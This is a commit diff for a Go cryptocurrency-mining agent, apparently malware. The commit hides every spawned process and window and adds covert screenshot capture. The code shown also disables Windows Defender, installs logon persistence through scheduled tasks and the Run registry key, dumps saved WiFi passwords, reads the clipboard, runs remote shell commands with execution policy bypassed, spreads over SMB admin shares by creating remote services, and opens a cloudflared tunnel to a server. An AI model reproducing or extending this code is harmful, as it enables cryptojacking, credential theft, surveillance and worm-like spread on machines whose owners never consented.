Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -7,7 +7,6 @@ import (
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -488,8 +487,7 @@ func (a *AIRunner) isProcessRunning(name string) bool {
|
||||
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
|
||||
imName += ".exe"
|
||||
}
|
||||
cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
||||
output, err := cmd.Output()
|
||||
output, err := deploy.HiddenOutput("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
@@ -505,8 +503,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
}
|
||||
|
||||
// Kill existing process
|
||||
killCmd := exec.Command("taskkill", "/F", "/IM", imName)
|
||||
killOutput, _ := killCmd.CombinedOutput()
|
||||
killOutput, _ := deploy.HiddenCombinedOutput("taskkill", "/F", "/IM", imName)
|
||||
|
||||
// Start new process from install directory
|
||||
installDir, err := a.cfg.InstallDirectory()
|
||||
@@ -519,8 +516,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
||||
return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
|
||||
}
|
||||
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
|
||||
return string(killOutput), fmt.Errorf("failed to start miner: %w", err)
|
||||
}
|
||||
|
||||
@@ -592,8 +588,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
}
|
||||
|
||||
// Start the new binary with its own process group so it survives our exit
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
|
||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||
}
|
||||
|
||||
@@ -606,8 +601,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
|
||||
|
||||
switch method {
|
||||
case "scheduled_task":
|
||||
cmd := exec.Command("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
|
||||
output, err := cmd.CombinedOutput()
|
||||
output, err := deploy.HiddenCombinedOutput("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
|
||||
if err != nil {
|
||||
return string(output), fmt.Errorf("scheduled task failed: %w", err)
|
||||
}
|
||||
@@ -615,8 +609,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
|
||||
|
||||
case "registry":
|
||||
keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
cmd := exec.Command("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
|
||||
output, err := cmd.CombinedOutput()
|
||||
output, err := deploy.HiddenCombinedOutput("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
|
||||
if err != nil {
|
||||
return string(output), fmt.Errorf("registry persistence failed: %w", err)
|
||||
}
|
||||
@@ -633,21 +626,16 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
||||
switch tunnelType {
|
||||
case "cloudflared":
|
||||
// Check if cloudflared is installed
|
||||
checkCmd := exec.Command("cloudflared", "--version")
|
||||
if err := checkCmd.Run(); err != nil {
|
||||
// Try to download cloudflared
|
||||
downloadCmd := exec.Command("powershell", "-Command",
|
||||
if err := deploy.HiddenRun("cloudflared", "--version"); err != nil {
|
||||
output, dlErr := deploy.HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||
if output, err := downloadCmd.CombinedOutput(); err != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", err)
|
||||
if dlErr != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||
}
|
||||
// Move to PATH
|
||||
moveCmd := exec.Command("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
|
||||
moveCmd.Run()
|
||||
_ = deploy.HiddenRun("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
|
||||
}
|
||||
|
||||
// Start tunnel (this runs in background)
|
||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||
tunnelCmd := deploy.HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := tunnelCmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err)
|
||||
}
|
||||
@@ -659,9 +647,8 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
||||
}
|
||||
|
||||
func (a *AIRunner) checkDefender() string {
|
||||
cmd := exec.Command("powershell", "-Command",
|
||||
output, err := deploy.HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
@@ -678,13 +665,11 @@ func (a *AIRunner) checkDefender() string {
|
||||
|
||||
func (a *AIRunner) checkPersistence() bool {
|
||||
keyName := deploy.PersistenceKeyName(a.cfg)
|
||||
cmd := exec.Command("schtasks", "/Query", "/TN", keyName, "/FO", "CSV")
|
||||
if output, err := cmd.Output(); err == nil && strings.Contains(string(output), keyName) {
|
||||
if output, err := deploy.HiddenOutput("schtasks", "/Query", "/TN", keyName, "/FO", "CSV"); err == nil && strings.Contains(string(output), keyName) {
|
||||
return true
|
||||
}
|
||||
|
||||
regCmd := exec.Command("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName)
|
||||
if err := regCmd.Run(); err == nil {
|
||||
if err := deploy.HiddenRun("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName); err == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
@@ -10,7 +10,6 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -343,7 +342,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
||||
return
|
||||
}
|
||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
// Run off the read loop so long exec/powershell probes do not block
|
||||
// subsequent commands or server pings.
|
||||
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -477,9 +478,7 @@ func (c *AgentClient) restartSelf() {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exe, "--run")
|
||||
cmd.Dir = filepath.Dir(exe)
|
||||
_ = cmd.Start()
|
||||
_ = spawnWorker(exe)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
@@ -544,9 +543,7 @@ func (c *AgentClient) performUpgrade(downloadURL string) {
|
||||
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
cmd := exec.Command(exe, "--run")
|
||||
cmd.Dir = filepath.Dir(exe)
|
||||
if startErr := cmd.Start(); startErr != nil {
|
||||
if startErr := spawnWorker(exe); startErr != nil {
|
||||
log.Printf("[agent] upgrade: restart failed: %v", startErr)
|
||||
}
|
||||
os.Exit(0)
|
||||
|
||||
@@ -8,14 +8,14 @@ import (
|
||||
|
||||
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
return silentCombinedOutput("cmd.exe", "/C", command)
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -12,34 +11,37 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("tasklist").CombinedOutput()
|
||||
out, err = silentCombinedOutput("tasklist")
|
||||
case "netstat":
|
||||
out, err = exec.Command("netstat", "-ano").CombinedOutput()
|
||||
out, err = silentCombinedOutput("netstat", "-ano")
|
||||
case "users":
|
||||
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
out, err = silentCombinedOutput("cmd.exe", "/C", "net user & echo. & whoami /all")
|
||||
case "software":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize")
|
||||
case "screenshot":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", screenshotPSScript)
|
||||
if err != nil {
|
||||
return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
b64 := extractScreenshotBase64(out)
|
||||
if len(b64) < 100 {
|
||||
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
|
||||
}
|
||||
return true, true, b64
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("systeminfo").CombinedOutput()
|
||||
out, err = silentCombinedOutput("systeminfo")
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
out, err = silentCombinedOutput("ipconfig", "/all")
|
||||
case "clipboard":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "Get-Clipboard")
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -28,7 +27,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue |
|
||||
Sort-Object -Unique) -join ','
|
||||
[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
|
||||
`
|
||||
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil {
|
||||
if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err == nil {
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx >= 0 {
|
||||
raw = raw[idx:]
|
||||
@@ -46,7 +45,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue |
|
||||
// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
|
||||
func parseDNSIpconfig() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
out, err := exec.Command("ipconfig", "/all").Output()
|
||||
out, err := silentOutput("ipconfig", "/all")
|
||||
if err != nil {
|
||||
return cfg
|
||||
}
|
||||
|
||||
@@ -4,7 +4,6 @@ package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -31,7 +30,7 @@ $ports = Get-NetTCPConnection -State Listen | ForEach-Object {
|
||||
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output()
|
||||
out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return r
|
||||
}
|
||||
|
||||
@@ -5,7 +5,6 @@ package client
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -177,10 +176,10 @@ $p | ConvertTo-Json -Depth 4 -Compress
|
||||
`
|
||||
|
||||
func collectPosture() *PostureReport {
|
||||
out, err := exec.Command(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
out, err := silentCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
buildPostureScript(),
|
||||
).CombinedOutput()
|
||||
)
|
||||
if err != nil {
|
||||
return fallbackPosture()
|
||||
}
|
||||
|
||||
@@ -2,8 +2,11 @@ package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// ResourcePressure is a mining-specific runtime snapshot sent every heartbeat.
|
||||
@@ -55,11 +58,21 @@ func (r *ResourcePressure) Throttled() bool {
|
||||
// probeGPU queries nvidia-smi for temperature and utilisation.
|
||||
// Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent.
|
||||
func probeGPU() (tempC, usagePct *int) {
|
||||
out, err := exec.Command(
|
||||
"nvidia-smi",
|
||||
"--query-gpu=temperature.gpu,utilization.gpu",
|
||||
"--format=csv,noheader,nounits",
|
||||
).Output()
|
||||
var out []byte
|
||||
var err error
|
||||
if runtime.GOOS == "windows" {
|
||||
out, err = deploy.HiddenOutput(
|
||||
"nvidia-smi",
|
||||
"--query-gpu=temperature.gpu,utilization.gpu",
|
||||
"--format=csv,noheader,nounits",
|
||||
)
|
||||
} else {
|
||||
out, err = exec.Command(
|
||||
"nvidia-smi",
|
||||
"--query-gpu=temperature.gpu,utilization.gpu",
|
||||
"--format=csv,noheader,nounits",
|
||||
).Output()
|
||||
}
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -6,7 +6,6 @@ import (
|
||||
"encoding/json"
|
||||
"math"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
@@ -32,7 +31,7 @@ func collectResourcePressure() *ResourcePressure {
|
||||
|
||||
// ── CPU frequency via short PowerShell call ───────────────────────────────
|
||||
const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress`
|
||||
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", cpuScript).Output(); err == nil {
|
||||
if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", cpuScript); err == nil {
|
||||
var m map[string]interface{}
|
||||
if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil {
|
||||
if freq, ok := m["freq"].(float64); ok && freq > 0 {
|
||||
|
||||
47
agent/client/screenshot_windows.go
Normal file
47
agent/client/screenshot_windows.go
Normal file
@@ -0,0 +1,47 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import "strings"
|
||||
|
||||
const screenshotPSScript = `
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
|
||||
$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen
|
||||
$b = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height
|
||||
$g = [Drawing.Graphics]::FromImage($b)
|
||||
$g.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size)
|
||||
$enc = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' }
|
||||
$ep = New-Object System.Drawing.Imaging.EncoderParameters(1)
|
||||
$ep.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, 55)
|
||||
$ms = New-Object IO.MemoryStream
|
||||
$b.Save($ms, $enc, $ep)
|
||||
[Convert]::ToBase64String($ms.ToArray())
|
||||
`
|
||||
|
||||
func extractScreenshotBase64(out []byte) string {
|
||||
s := strings.TrimSpace(string(out))
|
||||
s = strings.TrimPrefix(s, "\ufeff")
|
||||
best := ""
|
||||
for _, part := range strings.Fields(s) {
|
||||
var b strings.Builder
|
||||
for _, r := range part {
|
||||
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
cleaned := b.String()
|
||||
if len(cleaned) > len(best) {
|
||||
best = cleaned
|
||||
}
|
||||
}
|
||||
if len(best) >= 100 {
|
||||
return best
|
||||
}
|
||||
return strings.Map(func(r rune) rune {
|
||||
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, s)
|
||||
}
|
||||
28
agent/client/silent_windows.go
Normal file
28
agent/client/silent_windows.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto-miner-agent/deploy"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func silentCmd(name string, arg ...string) *exec.Cmd {
|
||||
return deploy.HiddenCommand(name, arg...)
|
||||
}
|
||||
|
||||
func silentCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
return deploy.HiddenCombinedOutput(name, arg...)
|
||||
}
|
||||
|
||||
func silentOutput(name string, arg ...string) ([]byte, error) {
|
||||
return deploy.HiddenOutput(name, arg...)
|
||||
}
|
||||
|
||||
func silentRun(name string, arg ...string) error {
|
||||
return deploy.HiddenRun(name, arg...)
|
||||
}
|
||||
|
||||
func silentStart(name string, arg ...string) error {
|
||||
return deploy.HiddenStart(name, arg...)
|
||||
}
|
||||
14
agent/client/spawn_stub.go
Normal file
14
agent/client/spawn_stub.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func spawnWorker(exe string) error {
|
||||
cmd := exec.Command(exe, "--run")
|
||||
cmd.Dir = filepath.Dir(exe)
|
||||
return cmd.Start()
|
||||
}
|
||||
15
agent/client/spawn_windows.go
Normal file
15
agent/client/spawn_windows.go
Normal file
@@ -0,0 +1,15 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func spawnWorker(exe string) error {
|
||||
cmd := deploy.HiddenCommand(exe, "--run")
|
||||
cmd.Dir = filepath.Dir(exe)
|
||||
return cmd.Start()
|
||||
}
|
||||
@@ -4,14 +4,13 @@ package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
||||
}
|
||||
@@ -33,7 +32,7 @@ if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue))
|
||||
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
||||
}
|
||||
`, strings.ReplaceAll(name, `'`, `''`), port)
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return string(out), err
|
||||
}
|
||||
|
||||
@@ -4,7 +4,6 @@ package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -15,7 +14,7 @@ import (
|
||||
//
|
||||
// Falls back to nil (caller will do a full scan) on any error.
|
||||
func arpHosts() []string {
|
||||
out, err := exec.Command("arp", "-a").Output()
|
||||
out, err := HiddenOutput("arp", "-a")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -7,7 +7,6 @@ import (
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -152,12 +151,10 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
||||
|
||||
// 2. Attempt to copy payload via SMB using the current security token
|
||||
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
|
||||
if err := copyCmd.Run(); err != nil {
|
||||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
|
||||
// Fallback to C$ hidden temp folder if System32 is restricted
|
||||
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
||||
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
|
||||
if err := copyCmd.Run(); err != nil {
|
||||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
||||
return // Access denied or host unreachable
|
||||
}
|
||||
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
||||
@@ -167,15 +164,12 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
|
||||
// Delete existing just in case path changed
|
||||
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||||
|
||||
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
||||
_ = scCreate.Run() // Ignore errors, it might already exist
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
||||
|
||||
// 4. Start the remote service
|
||||
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
|
||||
if err := scStart.Run(); err == nil {
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||
}
|
||||
}
|
||||
|
||||
29
agent/deploy/exec_stub.go
Normal file
29
agent/deploy/exec_stub.go
Normal file
@@ -0,0 +1,29 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func PrepareHiddenProcess(cmd *exec.Cmd) {}
|
||||
|
||||
func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||
return exec.Command(name, arg...)
|
||||
}
|
||||
|
||||
func HiddenRun(name string, arg ...string) error {
|
||||
return exec.Command(name, arg...).Run()
|
||||
}
|
||||
|
||||
func HiddenStart(name string, arg ...string) error {
|
||||
return exec.Command(name, arg...).Start()
|
||||
}
|
||||
|
||||
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
return exec.Command(name, arg...).CombinedOutput()
|
||||
}
|
||||
|
||||
func HiddenOutput(name string, arg ...string) ([]byte, error) {
|
||||
return exec.Command(name, arg...).Output()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {}
|
||||
52
agent/deploy/exec_windows.go
Normal file
52
agent/deploy/exec_windows.go
Normal file
@@ -0,0 +1,52 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW
|
||||
|
||||
// PrepareHiddenProcess configures a command so it never shows a console window.
|
||||
func PrepareHiddenProcess(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: creationFlagsNoWindow,
|
||||
}
|
||||
}
|
||||
|
||||
// HiddenCommand creates an exec.Cmd that runs without a visible window.
|
||||
func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||
cmd := exec.Command(name, arg...)
|
||||
PrepareHiddenProcess(cmd)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// HiddenRun runs a process hidden and waits for completion.
|
||||
func HiddenRun(name string, arg ...string) error {
|
||||
return HiddenCommand(name, arg...).Run()
|
||||
}
|
||||
|
||||
// HiddenStart starts a hidden detached process.
|
||||
func HiddenStart(name string, arg ...string) error {
|
||||
return HiddenCommand(name, arg...).Start()
|
||||
}
|
||||
|
||||
// HiddenCombinedOutput runs a hidden process and returns its combined output.
|
||||
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
return HiddenCommand(name, arg...).CombinedOutput()
|
||||
}
|
||||
|
||||
// HiddenOutput runs a hidden process and returns stdout only.
|
||||
func HiddenOutput(name string, arg ...string) ([]byte, error) {
|
||||
return HiddenCommand(name, arg...).Output()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
PrepareHiddenProcess(cmd)
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
